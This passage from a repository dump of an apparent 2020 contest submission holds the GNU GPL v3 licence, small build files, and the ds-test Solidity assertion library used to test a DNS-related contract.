Tests\n\n\nThe two sequences of transactions above, and more tests, can be found in `DNSTest.t.sol`.\nTo run the tests, run\n`$ dapp test`\n"
  },
  {
    "path": "2020/submissions_2020/submission12_LeonardoAlt/lib/ds-test/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "2020/submissions_2020/submission12_LeonardoAlt/lib/ds-test/Makefile",
    "content": "all:; dapp build\ntest:; dapp test\n"
  },
  {
    "path": "2020/submissions_2020/submission12_LeonardoAlt/lib/ds-test/default.nix",
    "content": "{ solidityPackage, dappsys }: solidityPackage {\n  name = \"ds-test\";\n  src = ./src;\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission12_LeonardoAlt/lib/ds-test/src/test.sol",
    "content": "// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n\n// You should have received a copy of the GNU General Public License\n// along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\n// SPDX-License-Identifier: GPL-v3\n\npragma solidity ^0.7.0;\n\nabstract contract DSTest {\n    event eventListener          (address target, bool exact);\n    event logs                   (bytes);\n    event log_bytes32            (bytes32);\n    event log_named_address      (bytes32 key, address val);\n    event log_named_bytes32      (bytes32 key, bytes32 val);\n    event log_named_decimal_int  (bytes32 key, int val, uint decimals);\n    event log_named_decimal_uint (bytes32 key, uint val, uint decimals);\n    event log_named_int          (bytes32 key, int val);\n    event log_named_uint         (bytes32 key, uint val);\n    event log_named_string       (bytes32 key, string val);\n\n    bool public IS_TEST;\n    bool public failed;\n\n    constructor() {\n        IS_TEST = true;\n    }\n\n    function fail() internal {\n        failed = true;\n    }\n\n    function expectEventsExact(address target) internal {\n        emit eventListener(target, true);\n    }\n\n    modifier logs_gas() {\n        uint startGas = gasleft();\n        _;\n        uint endGas = gasleft();\n        emit log_named_uint(\"gas\", startGas - endGas);\n    }\n\n    function assertTrue(bool condition) internal {\n        if (!condition) {\n            emit log_bytes32(\"Assertion failed\");\n            fail();\n        }\n    }\n\n    function assertEq(address a, address b) internal {\n        if (a != b) {\n            emit log_bytes32(\"Error: Wrong `address' value\");\n            emit log_named_address(\"  Expected\", b);\n            emit log_named_address(\"    Actual\", a);\n            fail();\n        }\n    }\n\n    function assertEq32(bytes32 a, bytes32 b) internal {\n        assertEq(a, b);\n    }\n\n    function assertEq(bytes32 a, bytes32 b) internal {\n        if (a != b) {\n            emit log_bytes32(\"Error: Wrong `bytes32' value\");\n            emit log_named_bytes32(\"  Expected\", b);\n            emit log_named_bytes32(\"    Actual\", a);\n            fail();\n        }\n    }\n\n    function assertEqDecimal(int a, int b, uint decimals) internal {\n        if (a != b) {\n            emit log_bytes32(\"Error: Wrong fixed-point decimal\");\n            emit log_named_decimal_int(\"  Expected\", b, decimals);\n            emit log_named_decimal_int(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n\n    function assertEqDecimal(uint a, uint b, uint decimals) internal {\n        if (a != b) {\n            emit log_bytes32(\"Error: Wrong fixed-point decimal\");\n            emit log_named_decimal_uint(\"  Expected\", b, decimals);\n            emit log_named_decimal_uint(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n\n    function assertEq(int a, int b) internal {\n        if (a != b) {\n            emit log_bytes32(\"Error: Wrong `int' value\");\n            emit log_named_int(\"  Expected\", b);\n            emit log_named_int(\"    Actual\", a);\n            fail();\n        }\n    }\n\n    function assertEq(uint a, uint b) internal {\n        if (a != b) {\n            emit log_bytes32(\"Error: Wrong `uint' value\");\n            emit log_named_uint(\"  Expected\", b);\n            emit log_named_uint(\"    Actual\", a);\n            fail();\n        }\n    }\n\n    function assertEq(string memory a, string memory b) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log_bytes32(\"Error: Wrong `string' value\");\n            emit log_named_string(\"  Expected\", b);\n            emit log_named_string(\"    Actual\", a);\n            fail();\n        }\n    }\n\n    function assertEq0(bytes memory a, bytes memory b) internal {\n        bool ok = true;\n\n        if (a.length == b.length) {\n            for (uint i = 0; i < a.length; i++) {\n                if (a[i] != b[i]) {\n                    ok = false;\n                }\n            }\n        } else {\n            ok = false;\n        }\n\n        if (!ok) {\n            emit log_bytes32(\"Error: Wrong `bytes' value\");\n            emit log_named_bytes32(\"  Expected\", \"[cannot show `bytes' value]\");\n            emit log_named_bytes32(\"  Actual\", \"[cannot show `bytes' value]\");\n            fail();\n        }\n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission12_LeonardoAlt/out/dapp.sol.json",
